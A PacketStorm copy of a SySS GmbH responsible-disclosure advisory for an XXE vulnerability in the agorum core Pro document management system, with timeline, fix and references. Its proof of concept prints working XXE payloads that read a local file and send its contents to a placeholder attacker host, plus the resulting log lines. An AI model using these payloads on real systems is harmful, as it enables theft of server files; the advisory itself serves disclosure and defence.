Agorum Core Pro 7.8.1.4-251 XXE Injection

2017-04-14T00:00:00
ID PACKETSTORM:142144
Type packetstorm
Reporter Dr. Erlijn van Genuchten
Modified 2017-04-14T00:00:00

Description

                                        
                                            `-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512  
  
Advisory ID: SYSS-2017-009  
Product: agorum core Pro  
Manufacturer: agorum Software GmbH  
Affected Version(s): 7.8.1.4-251  
Tested Version(s): 7.8.1.4-251  
Vulnerability Type: Improper Restriction of XML External Entity Reference ('XXE') (CWE-611)   
Risk Level: High  
Solution Status: Open  
Manufacturer Notification: 2017-02-06  
Solution Date: 2017-04-06  
Public Disclosure: 2017-04-12  
CVE Reference: Not yet assigned  
Author of Advisory: Sascha Grimmeisen & Dr. Erlijn van Genuchten, SySS GmbH  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Overview:  
  
agorum core Pro is a module based Document Management System. It allows   
the customer to buy only required modules and can be extended when   
needed.   
  
Due to the possibility to upload and parse XML files, it is possible to  
extract data from the local system.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Vulnerability Details:  
  
SySS GmbH found out that users are able to upload and parse XML files.  
Even though the result of the parse XML file is not visible in the  
application, it is possible to extract data from the local system using  
an external server.   
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Proof of Concept (PoC):  
  
First, the file "ev.xml" with the following content was uploaded to an   
external server hosted by the attacker.  
  
<!ENTITY % data SYSTEM "file:///c:/[PATH]/[FILE]">  
<!ENTITY % url "<!ENTITY extract SYSTEM 'http://[ATTACKER-HOST]?%data;'>">  
  
Second, the file "attack.xml" with the following content was uploaded   
in the desk4web module of the web application:   
  
<?xml version="1.0" ?>  
<!DOCTYPE r [  
<!ELEMENT r ANY >  
<!ENTITY % sg SYSTEM "http://[ATTACKER-HOST]/ev.xml">  
%sg;  
%url;  
]>  
<r>&extract;</r>  
  
Important is to tick the box in the application that the XML file should   
be parsed after uploading.   
  
When the application has finished parsing the XML file, an entry in for   
example the Apache access.log file of the attacker's web server is  
available, which contains the extracted file contents:  
  
"GET /ev.xml HTTP/1.1" 200 441 "-" "Java/1.7.0_17"  
"GET /?[EXTRACTED-FILE-CONTENTS] HTTP/1.1" 200 210 "-" "Java/1.7.0_17"  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Solution:  
  
Update to agorum core 7.11.3. [4]  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclosure Timeline:  
  
2017-01-30: Vulnerability discovered  
2017-02-06: Vulnerability reported to manufacturer  
2017-04-06: Public disclosure  
2017-04-06: Fix confirmed by manufacturer  
2017-04-12: Vulnerability published  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
References:  
  
[1] Product website for agorum Software GmbH  
http://mein-dms.agorum.com/  
[2] SySS Security Advisory SYSS-2017-009  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-009.txt  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/news/responsible-disclosure-policy/  
[4] Agorum Change Log  
https://d4w.agorum.com/roiwebui/files/520986548/Changelog.html  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Credits:  
  
This security vulnerability was found by Dr. Erlijn van Genuchten and   
Sascha Grimmeisen of SySS GmbH.  
  
E-Mail: erlijn.vangenuchten@syss.de  
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Erlijn_van_Genuchten.asc  
Key ID: 0xBD96FF2A  
Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A  
  
E-Mail: sascha.grimmeisen@syss.de  
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sascha_Grimmeisen.asc  
Key ID: 0xD3D9C868  
Key Fingerprint: 4937 7FCF BA8E 3D80 1AAD 4AC4 7C1D E510 D3D9 C868  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclaimer:  
  
The information provided in this security advisory is provided "as is"   
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web  
site.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1  
  
iQIcBAEBCgAGBQJY71szAAoJEAylhje9lv8qPN8P/0wGaiI+K4NIzG12HpFhhb78  
IlPjFFu0PupvF18dXK5op+CREX9OwpAgpJWWWL+qjNMPh0AG7rkX6cwjzDME2PE8  
l0pLEBWwINnvIvcTDFwQ502kwowd35V1r3Edv+h6iqaqJfbgTxtLf/AcFxaOMMYX  
i4g3mCZ4f0+XWoUHMEjJTV7gdKsPG4zDb/iBoiG9yD7NTRrWQ/QY5+8UewuRroF2  
Lb/ozPL09FBZDmPPg9coZej4Apgt9ZhfhP+VikIMudFOhlUtupfmyYpFG4Kzgpw/  
qn8d2Crnzjwztz1H+82Mnz5Z5wW80eWzwtJCZtTatCR6Fr/pkm/v1pftGDMqohEW  
TW6uPpR+CiAQt+Po5ZHK7oQUPo8xJ6JTBRDM5PxPLWhBtclP2oCf4m4CGXkEmlSs  
/MkSHpvC9Tlv2+8XaWrCj2OdL1PO3NzsG2+7to7u/S1xeieNfX00iwgm2VuJyPFZ  
cBrRHrXRIBnxAZGVA1XGHUe6I6f7+WQ5+15H9984MP7q40gv/mE48lHVmH/K2plK  
oGDdFLAUUO98VbvgVH30tQgaw4PBiPW4bzmZsxmsTV7qs0yNWLL6Peo24T5HeCZy  
kKhOCGfexGalQlFUwnnbkkgVVDhcf5G/JLmZ6v/+W20YQdeS/Ind2wj599975nEi  
cielHENg3si+z6NEMcfU  
=ans3  
-----END PGP SIGNATURE-----  
`